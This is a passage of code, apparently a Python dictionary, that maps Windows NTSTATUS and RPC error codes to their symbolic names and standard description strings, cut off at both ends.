system was not able to allocate enough memory to perform a stack switch.\"),\n        0xC0000374: (\"STATUS_HEAP_CORRUPTION\",\"A heap has been corrupted.\"),\n        0xC0000380: (\"STATUS_SMARTCARD_WRONG_PIN\",\"An incorrect PIN was presented to the smart card.\"),\n        0xC0000381: (\"STATUS_SMARTCARD_CARD_BLOCKED\",\"The smart card is blocked.\"),\n        0xC0000382: (\"STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED\",\"No PIN was presented to the smart card.\"),\n        0xC0000383: (\"STATUS_SMARTCARD_NO_CARD\",\"No smart card is available.\"),\n        0xC0000384: (\"STATUS_SMARTCARD_NO_KEY_CONTAINER\",\"The requested key container does not exist on the smart card.\"),\n        0xC0000385: (\"STATUS_SMARTCARD_NO_CERTIFICATE\",\"The requested certificate does not exist on the smart card.\"),\n        0xC0000386: (\"STATUS_SMARTCARD_NO_KEYSET\",\"The requested keyset does not exist.\"),\n        0xC0000387: (\"STATUS_SMARTCARD_IO_ERROR\",\"A communication error with the smart card has been detected.\"),\n        0xC0000388: (\"STATUS_DOWNGRADE_DETECTED\",\"The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you.\"),\n        0xC0000389: (\"STATUS_SMARTCARD_CERT_REVOKED\",\"The smart card certificate used for authentication has been revoked. Contact your system administrator. There may be additional information in the event log.\"),\n        0xC000038A: (\"STATUS_ISSUING_CA_UNTRUSTED\",\"An untrusted certificate authority was detected while processing the smart card certificate that is used for authentication. Contact your system administrator.\"),\n        0xC000038B: (\"STATUS_REVOCATION_OFFLINE_C\",\"The revocation status of the smart card certificate that is used for authentication could not be determined. Contact your system administrator.\"),\n        0xC000038C: (\"STATUS_PKINIT_CLIENT_FAILURE\",\"The smart card certificate used for authentication was not trusted. Contact your system administrator.\"),\n        0xC000038D: (\"STATUS_SMARTCARD_CERT_EXPIRED\",\"The smart card certificate used for authentication has expired. Contact your system administrator.\"),\n        0xC000038E: (\"STATUS_DRIVER_FAILED_PRIOR_UNLOAD\",\"The driver could not be loaded because a previous version of the driver is still in memory.\"),\n        0xC000038F: (\"STATUS_SMARTCARD_SILENT_CONTEXT\",\"The smart card provider could not perform the action because the context was acquired as silent.\"),\n        0xC0000401: (\"STATUS_PER_USER_TRUST_QUOTA_EXCEEDED\",\"The delegated trust creation quota of the current user has been exceeded.\"),\n        0xC0000402: (\"STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED\",\"The total delegated trust creation quota has been exceeded.\"),\n        0xC0000403: (\"STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED\",\"The delegated trust deletion quota of the current user has been exceeded.\"),\n        0xC0000404: (\"STATUS_DS_NAME_NOT_UNIQUE\",\"The requested name already exists as a unique identifier.\"),\n        0xC0000405: (\"STATUS_DS_DUPLICATE_ID_FOUND\",\"The requested object has a non-unique identifier and cannot be retrieved.\"),\n        0xC0000406: (\"STATUS_DS_GROUP_CONVERSION_ERROR\",\"The group cannot be converted due to attribute restrictions on the requested group type.\"),\n        0xC0000407: (\"STATUS_VOLSNAP_PREPARE_HIBERNATE\",\"{Volume Shadow Copy Service} Wait while the Volume Shadow Copy Service prepares volume %hs for hibernation.\"),\n        0xC0000408: (\"STATUS_USER2USER_REQUIRED\",\"Kerberos sub-protocol User2User is required.\"),\n        0xC0000409: (\"STATUS_STACK_BUFFER_OVERRUN\",\"The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.\"),\n        0xC000040A: (\"STATUS_NO_S4U_PROT_SUPPORT\",\"The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user.\"),\n        0xC000040B: (\"STATUS_CROSSREALM_DELEGATION_FAILURE\",\"An attempt was made by this server to make a Kerberos constrained delegation request for a target that is outside the server realm. This action is not supported and the resulting error indicates a misconfiguration on the allowed-to-delegate-to list for this server. Contact your administrator.\"),\n        0xC000040C: (\"STATUS_REVOCATION_OFFLINE_KDC\",\"The revocation status of the domain controller certificate used for smart card authentication could not be determined. There is additional information in the system event log. Contact your system administrator.\"),\n        0xC000040D: (\"STATUS_ISSUING_CA_UNTRUSTED_KDC\",\"An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Contact your system administrator.\"),\n        0xC000040E: (\"STATUS_KDC_CERT_EXPIRED\",\"The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log.\"),\n        0xC000040F: (\"STATUS_KDC_CERT_REVOKED\",\"The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log.\"),\n        0xC0000410: (\"STATUS_PARAMETER_QUOTA_EXCEEDED\",\"Data present in one of the parameters is more than the function can operate on.\"),\n        0xC0000411: (\"STATUS_HIBERNATION_FAILURE\",\"The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted.\"),\n        0xC0000412: (\"STATUS_DELAY_LOAD_FAILED\",\"An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed.\"),\n        0xC0000413: (\"STATUS_AUTHENTICATION_FIREWALL_FAILED\",\"Logon Failure: The machine you are logging onto is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine.\"),\n        0xC0000414: (\"STATUS_VDM_DISALLOWED\",\"%hs is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator.\"),\n        0xC0000415: (\"STATUS_HUNG_DISPLAY_DRIVER_THREAD\",\"{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft.\"),\n        0xC0000416: (\"STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE\",\"The Desktop heap encountered an error while allocating session memory. There is more information in the system event log.\"),\n        0xC0000417: (\"STATUS_INVALID_CRUNTIME_PARAMETER\",\"An invalid parameter was passed to a C runtime function.\"),\n        0xC0000418: (\"STATUS_NTLM_BLOCKED\",\"The authentication failed because NTLM was blocked.\"),\n        0xC0000419: (\"STATUS_DS_SRC_SID_EXISTS_IN_FOREST\",\"The source object's SID already exists in destination forest.\"),\n        0xC000041A: (\"STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST\",\"The domain name of the trusted domain already exists in the forest.\"),\n        0xC000041B: (\"STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST\",\"The flat name of the trusted domain already exists in the forest.\"),\n        0xC000041C: (\"STATUS_INVALID_USER_PRINCIPAL_NAME\",\"The User Principal Name (UPN) is invalid.\"),\n        0xC0000420: (\"STATUS_ASSERTION_FAILURE\",\"There has been an assertion failure.\"),\n        0xC0000421: (\"STATUS_VERIFIER_STOP\",\"Application verifier has found an error in the current process.\"),\n        0xC0000423: (\"STATUS_CALLBACK_POP_STACK\",\"A user mode unwind is in progress.\"),\n        0xC0000424: (\"STATUS_INCOMPATIBLE_DRIVER_BLOCKED\",\"%2 has been blocked from loading due to incompatibility with this system. Contact your software vendor for a compatible version of the driver.\"),\n        0xC0000425: (\"STATUS_HIVE_UNLOADED\",\"Illegal operation attempted on a registry key which has already been unloaded.\"),\n        0xC0000426: (\"STATUS_COMPRESSION_DISABLED\",\"Compression is disabled for this volume.\"),\n        0xC0000427: (\"STATUS_FILE_SYSTEM_LIMITATION\",\"The requested operation could not be completed due to a file system limitation.\"),\n        0xC0000428: (\"STATUS_INVALID_IMAGE_HASH\",\"The hash for image %hs cannot be found in the system catalogs. The image is likely corrupt or the victim of tampering.\"),\n        0xC0000429: (\"STATUS_NOT_CAPABLE\",\"The implementation is not capable of performing the request.\"),\n        0xC000042A: (\"STATUS_REQUEST_OUT_OF_SEQUENCE\",\"The requested operation is out of order with respect to other operations.\"),\n        0xC000042B: (\"STATUS_IMPLEMENTATION_LIMIT\",\"An operation attempted to exceed an implementation-defined limit.\"),\n        0xC000042C: (\"STATUS_ELEVATION_REQUIRED\",\"The requested operation requires elevation.\"),\n        0xC000042D: (\"STATUS_NO_SECURITY_CONTEXT\",\"The required security context does not exist.\"),\n        0xC000042E: (\"STATUS_PKU2U_CERT_FAILURE\",\"The PKU2U protocol encountered an error while attempting to utilize the associated certificates.\"),\n        0xC0000432: (\"STATUS_BEYOND_VDL\",\"The operation was attempted beyond the valid data length of the file.\"),\n        0xC0000433: (\"STATUS_ENCOUNTERED_WRITE_IN_PROGRESS\",\"The attempted write operation encountered a write already in progress for some portion of the range.\"),\n        0xC0000434: (\"STATUS_PTE_CHANGED\",\"The page fault mappings changed in the middle of processing a fault so the operation must be retried.\"),\n        0xC0000435: (\"STATUS_PURGE_FAILED\",\"The attempt to purge this file from memory failed to purge some or all the data from memory.\"),\n        0xC0000440: (\"STATUS_CRED_REQUIRES_CONFIRMATION\",\"The requested credential requires confirmation.\"),\n        0xC0000441: (\"STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE\",\"The remote server sent an invalid response for a file being opened with Client Side Encryption.\"),\n        0xC0000442: (\"STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER\",\"Client Side Encryption is not supported by the remote server even though it claims to support it.\"),\n        0xC0000443: (\"STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE\",\"File is encrypted and should be opened in Client Side Encryption mode.\"),\n        0xC0000444: (\"STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE\",\"A new encrypted file is being created and a $EFS needs to be provided.\"),\n        0xC0000445: (\"STATUS_CS_ENCRYPTION_FILE_NOT_CSE\",\"The SMB client requested a CSE FSCTL on a non-CSE file.\"),\n        0xC0000446: (\"STATUS_INVALID_LABEL\",\"Indicates a particular Security ID may not be assigned as the label of an object.\"),\n        0xC0000450: (\"STATUS_DRIVER_PROCESS_TERMINATED\",\"The process hosting the driver for this device has terminated.\"),\n        0xC0000451: (\"STATUS_AMBIGUOUS_SYSTEM_DEVICE\",\"The requested system device cannot be identified due to multiple indistinguishable devices potentially matching the identification criteria.\"),\n        0xC0000452: (\"STATUS_SYSTEM_DEVICE_NOT_FOUND\",\"The requested system device cannot be found.\"),\n        0xC0000453: (\"STATUS_RESTART_BOOT_APPLICATION\",\"This boot application must be restarted.\"),\n        0xC0000454: (\"STATUS_INSUFFICIENT_NVRAM_RESOURCES\",\"Insufficient NVRAM resources exist to complete the API. A reboot might be required.\"),\n        0xC0000500: (\"STATUS_INVALID_TASK_NAME\",\"The specified task name is invalid.\"),\n        0xC0000501: (\"STATUS_INVALID_TASK_INDEX\",\"The specified task index is invalid.\"),\n        0xC0000502: (\"STATUS_THREAD_ALREADY_IN_TASK\",\"The specified thread is already joining a task.\"),\n        0xC0000503: (\"STATUS_CALLBACK_BYPASS\",\"A callback has requested to bypass native code.\"),\n        0xC0000602: (\"STATUS_FAIL_FAST_EXCEPTION\",\"A fail fast exception occurred. Exception handlers will not be invoked and the process will be terminated immediately.\"),\n        0xC0000603: (\"STATUS_IMAGE_CERT_REVOKED\",\"Windows cannot verify the digital signature for this file. The signing certificate for this file has been revoked.\"),\n        0xC0000700: (\"STATUS_PORT_CLOSED\",\"The ALPC port is closed.\"),\n        0xC0000701: (\"STATUS_MESSAGE_LOST\",\"The ALPC message requested is no longer available.\"),\n        0xC0000702: (\"STATUS_INVALID_MESSAGE\",\"The ALPC message supplied is invalid.\"),\n        0xC0000703: (\"STATUS_REQUEST_CANCELED\",\"The ALPC message has been canceled.\"),\n        0xC0000704: (\"STATUS_RECURSIVE_DISPATCH\",\"Invalid recursive dispatch attempt.\"),\n        0xC0000705: (\"STATUS_LPC_RECEIVE_BUFFER_EXPECTED\",\"No receive buffer has been supplied in a synchronous request.\"),\n        0xC0000706: (\"STATUS_LPC_INVALID_CONNECTION_USAGE\",\"The connection port is used in an invalid context.\"),\n        0xC0000707: (\"STATUS_LPC_REQUESTS_NOT_ALLOWED\",\"The ALPC port does not accept new request messages.\"),\n        0xC0000708: (\"STATUS_RESOURCE_IN_USE\",\"The resource requested is already in use.\"),\n        0xC0000709: (\"STATUS_HARDWARE_MEMORY_ERROR\",\"The hardware has reported an uncorrectable memory error.\"),\n        0xC000070A: (\"STATUS_THREADPOOL_HANDLE_EXCEPTION\",\"Status 0x%08x was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p.\"),\n        0xC000070B: (\"STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED\",\"After a callback to 0x%p(0x%p), a completion call to Set event(0x%p) failed with status 0x%08x.\"),\n        0xC000070C: (\"STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED\",\"After a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0x%08x.\"),\n        0xC000070D: (\"STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED\",\"After a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0x%08x.\"),\n        0xC000070E: (\"STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED\",\"After a callback to 0x%p(0x%p), a completion call to FreeLibrary(%p) failed with status 0x%08x.\"),\n        0xC000070F: (\"STATUS_THREADPOOL_RELEASED_DURING_OPERATION\",\"The thread pool 0x%p was released while a thread was posting a callback to 0x%p(0x%p) to it.\"),\n        0xC0000710: (\"STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING\",\"A thread pool worker thread is impersonating a client, after a callback to 0x%p(0x%p). This is unexpected, indicating that the callback is missing a call to revert the impersonation.\"),\n        0xC0000711: (\"STATUS_APC_RETURNED_WHILE_IMPERSONATING\",\"A thread pool worker thread is impersonating a client, after executing an APC. This is unexpected, indicating that the APC is missing a call to revert the impersonation.\"),\n        0xC0000712: (\"STATUS_PROCESS_IS_PROTECTED\",\"Either the target process, or the target thread's containing process, is a protected process.\"),\n        0xC0000713: (\"STATUS_MCA_EXCEPTION\",\"A thread is getting dispatched with MCA EXCEPTION because of MCA.\"),\n        0xC0000714: (\"STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE\",\"The client certificate account mapping is not unique.\"),\n        0xC0000715: (\"STATUS_SYMLINK_CLASS_DISABLED\",\"The symbolic link cannot be followed because its type is disabled.\"),\n        0xC0000716: (\"STATUS_INVALID_IDN_NORMALIZATION\",\"Indicates that the specified string is not valid for IDN normalization.\"),\n        0xC0000717: (\"STATUS_NO_UNICODE_TRANSLATION\",\"No mapping for the Unicode character exists in the target multi-byte code page.\"),\n        0xC0000718: (\"STATUS_ALREADY_REGISTERED\",\"The provided callback is already registered.\"),\n        0xC0000719: (\"STATUS_CONTEXT_MISMATCH\",\"The provided context did not match the target.\"),\n        0xC000071A: (\"STATUS_PORT_ALREADY_HAS_COMPLETION_LIST\",\"The specified port already has a completion list.\"),\n        0xC000071B: (\"STATUS_CALLBACK_RETURNED_THREAD_PRIORITY\",\"A threadpool worker thread entered a callback at thread base priority 0x%x and exited at priority 0x%x.  This is unexpected, indicating that the callback missed restoring the priority.\"),\n        0xC000071C: (\"STATUS_INVALID_THREAD\",\"An invalid thread, handle %p, is specified for this operation. Possibly, a threadpool worker thread was specified.\"),\n        0xC000071D: (\"STATUS_CALLBACK_RETURNED_TRANSACTION\",\"A threadpool worker thread entered a callback, which left transaction state.  This is unexpected, indicating that the callback missed clearing the transaction.\"),\n        0xC000071E: (\"STATUS_CALLBACK_RETURNED_LDR_LOCK\",\"A threadpool worker thread entered a callback, which left the loader lock held.  This is unexpected, indicating that the callback missed releasing the lock.\"),\n        0xC000071F: (\"STATUS_CALLBACK_RETURNED_LANG\",\"A threadpool worker thread entered a callback, which left with preferred languages set.  This is unexpected, indicating that the callback missed clearing them.\"),\n        0xC0000720: (\"STATUS_CALLBACK_RETURNED_PRI_BACK\",\"A threadpool worker thread entered a callback, which left with background priorities set.  This is unexpected, indicating that the callback missed restoring the original priorities.\"),\n        0xC0000800: (\"STATUS_DISK_REPAIR_DISABLED\",\"The attempted operation required self healing to be enabled.\"),\n        0xC0000801: (\"STATUS_DS_DOMAIN_RENAME_IN_PROGRESS\",\"The directory service cannot perform the requested operation because a domain rename operation is in progress.\"),\n        0xC0000802: (\"STATUS_DISK_QUOTA_EXCEEDED\",\"An operation failed because the storage quota was exceeded.\"),\n        0xC0000804: (\"STATUS_CONTENT_BLOCKED\",\"An operation failed because the content was blocked.\"),\n        0xC0000805: (\"STATUS_BAD_CLUSTERS\",\"The operation could not be completed due to bad clusters on disk.\"),\n        0xC0000806: (\"STATUS_VOLUME_DIRTY\",\"The operation could not be completed because the volume is dirty. Please run the Chkdsk utility and try again.\"),\n        0xC0000901: (\"STATUS_FILE_CHECKED_OUT\",\"This file is checked out or locked for editing by another user.\"),\n        0xC0000902: (\"STATUS_CHECKOUT_REQUIRED\",\"The file must be checked out before saving changes.\"),\n        0xC0000903: (\"STATUS_BAD_FILE_TYPE\",\"The file type being saved or retrieved has been blocked.\"),\n        0xC0000904: (\"STATUS_FILE_TOO_LARGE\",\"The file size exceeds the limit allowed and cannot be saved.\"),\n        0xC0000905: (\"STATUS_FORMS_AUTH_REQUIRED\",\"Access Denied. Before opening files in this location, you must first browse to the e.g. site and select the option to log on automatically.\"),\n        0xC0000906: (\"STATUS_VIRUS_INFECTED\",\"The operation did not complete successfully because the file contains a virus.\"),\n        0xC0000907: (\"STATUS_VIRUS_DELETED\",\"This file contains a virus and cannot be opened. Due to the nature of this virus, the file has been removed from this location.\"),\n        0xC0000908: (\"STATUS_BAD_MCFG_TABLE\",\"The resources required for this device conflict with the MCFG table.\"),\n        0xC0000909: (\"STATUS_CANNOT_BREAK_OPLOCK\",\"The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken.\"),\n        0xC0009898: (\"STATUS_WOW_ASSERTION\",\"WOW Assertion Error.\"),\n        0xC000A000: (\"STATUS_INVALID_SIGNATURE\",\"The cryptographic signature is invalid.\"),\n        0xC000A001: (\"STATUS_HMAC_NOT_SUPPORTED\",\"The cryptographic provider does not support HMAC.\"),\n        0xC000A010: (\"STATUS_IPSEC_QUEUE_OVERFLOW\",\"The IPsec queue overflowed.\"),\n        0xC000A011: (\"STATUS_ND_QUEUE_OVERFLOW\",\"The neighbor discovery queue overflowed.\"),\n        0xC000A012: (\"STATUS_HOPLIMIT_EXCEEDED\",\"An Internet Control Message Protocol (ICMP) hop limit exceeded error was received.\"),\n        0xC000A013: (\"STATUS_PROTOCOL_NOT_SUPPORTED\",\"The protocol is not installed on the local machine.\"),\n        0xC000A080: (\"STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED\",\"{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error may be caused by network connectivity issues. Try to save this file elsewhere.\"),\n        0xC000A081: (\"STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR\",\"{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error was returned by the server on which the file exists. Try to save this file elsewhere.\"),\n        0xC000A082: (\"STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR\",\"{Delayed Write Failed} Windows was unable to save all the data for the file %hs; the data has been lost. This error may be caused if the device has been removed or the media is write-protected.\"),\n        0xC000A083: (\"STATUS_XML_PARSE_ERROR\",\"Windows was unable to parse the requested XML data.\"),\n        0xC000A084: (\"STATUS_XMLDSIG_ERROR\",\"An error was encountered while processing an XML digital signature.\"),\n        0xC000A085: (\"STATUS_WRONG_COMPARTMENT\",\"This indicates that the caller made the connection request in the wrong routing compartment.\"),\n        0xC000A086: (\"STATUS_AUTHIP_FAILURE\",\"This indicates that there was an AuthIP failure when attempting to connect to the remote host.\"),\n        0xC000A087: (\"STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS\",\"OID mapped groups cannot have members.\"),\n        0xC000A088: (\"STATUS_DS_OID_NOT_FOUND\",\"The specified OID cannot be found.\"),\n        0xC000A100: (\"STATUS_HASH_NOT_SUPPORTED\",\"Hash generation for the specified version and hash type is not enabled on server.\"),\n        0xC000A101: (\"STATUS_HASH_NOT_PRESENT\",\"The hash requests is not present or not up to date with the current file contents.\"),\n        0xC0010001: (\"DBG_NO_STATE_CHANGE\",\"The debugger did not perform a state change.\"),\n        0xC0010002: (\"DBG_APP_NOT_IDLE\",\"The debugger found that the application is not idle.\"),\n        0xC0020001: (\"RPC_NT_INVALID_STRING_BINDING\",\"The string binding is invalid.\"),\n        0xC0020002: (\"RPC_NT_WRONG_KIND_OF_BINDING\",\"The binding handle is not the correct type.\"),\n        0xC0020003: (\"RPC_NT_INVALID_BINDING\",\"The binding handle is invalid.\"),\n        0xC0020004: (\"RPC_NT_PROTSEQ_NOT_SUPPORTED\",\"The RPC protocol sequence is not supported.\"),\n        0xC0020005: (\"RPC_NT_INVALID_RPC_PROTSEQ\",\"The RPC protocol sequence is invalid.\"),\n        0xC0020006: (\"RPC_NT_INVALID_STRING_UUID\",\"The string UUID is invalid.\"),\n        0xC0020007: (\"RPC_NT_INVALID_ENDPOINT_FORMAT\",\"The endpoint format is invalid.\"),\n        0xC0020008: (\"RPC_NT_INVALID_NET_ADDR\",\"The network address is invalid.\"),\n        0xC0020009: (\"RPC_NT_NO_ENDPOINT_FOUND\",\"No endpoint was found.\"),\n        0xC002000A: (\"RPC_NT_INVALID_TIMEOUT\",\"The time-out value is invalid.\"),\n        0xC002000B: (\"RPC_NT_OBJECT_NOT_FOUND\",\"The object UUID was not found.\"),\n        0xC002000C: (\"RPC_NT_ALREADY_REGISTERED\",\"The object UUID has already been registered.\"),\n        0xC002000D: (\"RPC_NT_TYPE_ALREADY_REGISTERED\",\"The type UUID has already been registered.\"),\n        0xC002000E: (\"RPC_NT_ALREADY_LISTENING\",\"The RPC server is already listening.\"),\n        0xC002000F: (\"RPC_NT_NO_PROTSEQS_REGISTERED\",\"No protocol sequences have been registered.\"),\n        0xC0020010: (\"RPC_NT_NOT_LISTENING\",\"The RPC server is not listening.\"),\n        0xC0020011: (\"RPC_NT_UNKNOWN_MGR_TYPE\",\"The manager type is unknown.\"),\n        0xC0020012: (\"RPC_NT_UNKNOWN_IF\",\"The interface is unknown.\"),\n        0xC0020013: (\"RPC_NT_NO_BINDINGS\",\"There are no bindings.\"),\n        0xC0020014: (\"RPC_NT_NO_PROTSEQS\",\"There are no protocol sequences.\"),\n        0xC0020015: (\"RPC_NT_CANT_CREATE_ENDPOINT\",\"The endpoint cannot be created.\"),\n        0xC0020016: (\"RPC_NT_OUT_OF_RESOURCES\",\"Insufficient resources are available to complete this operation.\"),\n        0xC0020017: (\"RPC_NT_SERVER_UNAVAILABLE\",\"The RPC server is unavailable.\"),\n        0xC0020018: (\"RPC_NT_SERVER_TOO_BUSY\",\"The RPC server is too busy to complete this operation.\"),\n        0xC0020019: (\"RPC_NT_INVALID_NETWORK_OPTIONS\",\"The network options are invalid.\"),\n        0xC002001A: (\"RPC_NT_NO_CALL_ACTIVE\",\"No RPCs are active on this thread.\"),\n        0xC002001B: (\"RPC_NT_CALL_FAILED\",\"The RPC failed.\"),\n        0xC002001C: (\"RPC_NT_CALL_FAILED_DNE\",\"The RPC failed and did not execute.\"),\n        0xC002001D: (\"RPC_NT_PROTOCOL_ERROR\",\"An RPC protocol error occurred.\"),\n        0xC002001F: (\"RPC_NT_UNSUPPORTED_TRANS_SYN\",\"The RPC server does not support the transfer syntax.\"),\n        0xC0020021: (\"RPC_NT_UNSUPPORTED_TYPE\",\"The type UUID is not supported.\"),\n        0xC0020022: (\"RPC_NT_INVALID_TAG\",\"The tag is invalid.\"),\n        0xC0020023: (\"RPC_NT_INVALID_BOUND\",\"The array bounds are invalid.\"),\n        0xC0020024: (\"RPC_NT_NO_ENTRY_NAME\",\"The binding does not contain an entry name.\"),\n        0xC0020025: (\"RPC_NT_INVALID_NAME_SYNTAX\",\"The name syntax is invalid.\"),\n        0xC0020026: (\"RPC_NT_UNSUPPORTED_NAME_SYNTAX\",\"The name syntax is not supported.\"),\n        0xC0020028: (\"RPC_NT_UUID_NO_ADDRESS\",\"No network address is available to construct a UUID.\"),\n        0xC0020029: (\"RPC_NT_DUPLICATE_ENDPOINT\",\"The endpoint is a duplicate.\"),\n        0xC002002A: (\"RPC_NT_UNKNOWN_AUTHN_TYPE\",\"The authentication type is unknown.\"),\n        0xC002002B: (\"RPC_NT_MAX_CALLS_TOO_SMALL\",\"The maximum number of calls is too small.\"),\n        0xC002002C: (\"RPC_NT_STRING_TOO_LONG\",\"The string is too long.\"),\n        0xC002002D: (\"RPC_NT_PROTSEQ_NOT_FOUND\",\"The RPC protocol sequence was not found.\"),\n        0xC002002E: (\"RPC_NT_PROCNUM_OUT_OF_RANGE\",\"The procedure number is out of range.\"),\n        0xC002002F: (\"RPC_NT_BINDING_HAS_NO_AUTH\",\"The binding does not contain any authentication information.\"),\n        0xC0020030: (\"RPC_NT_UNKNOWN_AUTHN_SERVICE\",\"The authentication service is unknown.\"),\n        0xC0020031: (\"RPC_NT_UNKNOWN_AUTHN_LEVEL\",\"The authentication level is unknown.\"),\n        0xC0020032: (\"RPC_NT_INVALID_AUTH_IDENTITY\",\"The security context is invalid.\"),\n        0xC0020033: (\"RPC_NT_UNKNOWN_AUTHZ_SERVICE\",\"The authorization service is unknown.\"),\n        0xC0020034: (\"EPT_NT_INVALID_ENTRY\",\"The entry is invalid.\"),\n        0xC0020035: (\"EPT_NT_CANT_PERFORM_OP\",\"The operation cannot be performed.\"),\n        0xC0020036: (\"EPT_NT_NOT_REGISTERED\",\"No more endpoints are available from the endpoint mapper.\"),\n        0xC0020037: (\"RPC_NT_NOTHING_TO_EXPORT\",\"No interfaces have been exported.\"),\n        0xC0020038: (\"RPC_NT_INCOMPLETE_NAME\",\"The entry name is incomplete.\"),\n        0xC0020039: (\"RPC_NT_INVALID_VERS_OPTION\",\"The version option is invalid.\"),\n        0xC002003A: (\"RPC_NT_NO_MORE_MEMBERS\",\"There are no more members.\"),\n        0xC002003B: (\"RPC_NT_NOT_ALL_OBJS_UNEXPORTED\",\"There is nothing to unexport.\"),\n        0xC002003C: (\"RPC_NT_INTERFACE_NOT_FOUND\",\"The interface was not found.\"),\n        0xC002003D: (\"RPC_NT_ENTRY_ALREADY_EXISTS\",\"The entry already exists.\"),\n        0xC002003E: (\"RPC_NT_ENTRY_NOT_FOUND\",\"The entry was not found.\"),\n        0xC002003F: (\"RPC_NT_NAME_SERVICE_UNAVAILABLE\",\"The name service is unavailable.\"),\n        0xC0020040: (\"RPC_NT_INVALID_NAF_ID\",\"The network address family is invalid.\"),\n        0xC0020041: (\"RPC_NT_CANNOT_SUPPORT\",\"The requested operation is not supported.\"),\n        0xC0020042: (\"RPC_NT_NO_CONTEXT_AVAILABLE\",\"No security context is available to allow impersonation.\"),\n        0xC0020043: (\"RPC_NT_INTERNAL_ERROR\",\"An internal error occurred in the RPC.\"),\n        0xC0020044: (\"RPC_NT_ZERO_DIVIDE\",\"The RPC server attempted to divide an integer by zero.\"),\n        0xC0020045: (\"RPC_NT_ADDRESS_ERROR\",\"An addressing error occurred in the RPC server.\"),\n        0xC0020046: (\"RPC_NT_FP_DIV_ZERO\",\"A floating point operation at the RPC server caused a divide by zero.\"),\n        0xC0020047: (\"RPC_NT_FP_UNDERFLOW\",\"A floating point underflow occurred at the RPC server.\"),\n        0xC0020048: (\"RPC_NT_FP_OVERFLOW\",\"A floating point overflow occurred at the RPC server.\"),\n        0xC0020049: (\"RPC_NT_CALL_IN_PROGRESS\",\"An RPC is already in progress for this thread.\"),\n        0xC002004A: (\"RPC_NT_NO_MORE_BINDINGS\",\"There are no more bindings.\"),\n        0xC002004B: (\"RPC_NT_GROUP_MEMBER_NOT_FOUND\",\"The group member was not found.\"),\n        0xC002004C: (\"EPT_NT_CANT_CREATE\",\"The endpoint mapper database entry could not be created.\"),\n        0xC002004D: (\"RPC_NT_INVALID_OBJECT\",\"The object UUID is the nil UUID.\"),\n        0xC002004F: (\"RPC_NT_NO_INTERFACES\",\"No interfaces have been registered.\"),\n        0xC0020050: (\"RPC_NT_CALL_CANCELLED\",\"The RPC was canceled.\"),\n        0xC0020051: (\"RPC_NT_BINDING_INCOMPLETE\",\"The binding handle does not contain all the required information.\"),\n        0xC0020052: (\"RPC_NT_COMM_FAILURE\",\"A communications failure occurred during an RPC.\"),\n        0xC0020053: (\"RPC_NT_UNSUPPORTED_AUTHN_LEVEL\",\"The requested authentication level is not supported.\"),\n        0xC0020054: (\"RPC_NT_NO_PRINC_NAME\",\"No principal name was registered.\"),\n        0xC0020055: (\"RPC_NT_NOT_RPC_ERROR\",\"The error specified is not a valid Windows RPC error code.\"),\n        0xC0020057: (\"RPC_NT_SEC_PKG_ERROR\",\"A security package-specific error occurred.\"),\n        0xC0020058: (\"RPC_NT_NOT_CANCELLED\",\"The thread was not canceled.\"),\n        0xC0020062: (\"RPC_NT_INVALID_ASYNC_HANDLE\",\"Invalid asynchronous RPC handle.\"),\n        0xC0020063: (\"RPC_NT_INVALID_ASYNC_CALL\",\"Invalid asynchronous RPC call handle for this operation.\"),\n        0xC0020064: (\"RPC_NT_PROXY_ACCESS_DENIED\",\"Access to the HTTP proxy is denied.\"),\n        0xC0021007: (\"RPC_P_RECEIVE_ALERTED\",\"No description\"),\n        0xC0021008: (\"RPC_P_CONNECTION_CLOSED\",\"No description\"),\n        0xC0021009: (\"RPC_P_RECEIVE_FAILED\",\"No description\"),\n        0xC002100A: (\"RPC_P_SEND_FAILED\",\"No description\"),\n        0xC002100B: (\"RPC_P_TIMEOUT\",\"No description\"),\n        0xC002100C: (\"RPC_P_SERVER_TRANSPORT_ERROR\",\"No description\"),\n        0xC002100E: (\"RPC_P_EXCEPTION_OCCURED\",\"No description\"),\n        0xC0021012: (\"RPC_P_CONNECTION_SHUTDOWN\",\"No description\"),\n        0xC0021015: (\"RPC_P_THREAD_LISTENING\",\"No 